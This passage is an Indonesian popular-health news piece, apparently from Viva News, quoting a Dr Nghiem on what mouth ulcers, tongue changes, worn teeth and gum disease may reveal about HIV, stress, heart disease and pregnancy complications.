Dr Nghiem mengatakan sariawan bisa menjadi indikasi pertama penyakit HIV. Tapi jangan panik terlebih dahulu. Sariawan dapat disembuhkan dengan steroid dan penggunaan antibiotik untuk menyingkirkan faktor-faktor lainnya.

Tanda-tanda lain orang yang terjangkit HIV , yaitu warna merah pada lidah atau lidah yang kelihatan berbulu, kutil atau bisul pada gusi, bibir, dan mulut. Anda yang merasa ragu-ragu disarankan langsung berkonsultasi dengan dokter gigi atau dokter umum Anda.

Gigi Usang dan datar
Gigi yang usang dan datar bisa jadi orang biasanya disebabkan orang tersebut menggertakan giginya. Bisa jadi itu pertanda stres. “Penjagaan pada mulut sangat penting untuk mencegah usangnya email gigi,” katanya.

Penyakit gusi
Penyakit pada gusi umumnya disebabkan oleh plak gigi yang mengakibatkan warna merah dan infeksi pada gusi serta pendarahan ketika menggosok gigi. Dr Nghiem mengatakan studi terbaru menunjukkan ada hubungan antara penyakit gusi dengan penyakit jantung dan stroke. “Hal ini karena bakteri pada penyakit gusi mengaktifkan sel darah putih yang mempengaruhi penyakit jantung dan stroke.

Selain itu, penyakit gusi juga dapat mengakibatkan komplikasi kandungan, termasuk lahir prematur dan bayi yang lahir dengan bobot di bawah normal,” katanya. (Rudy Bun)
*viva news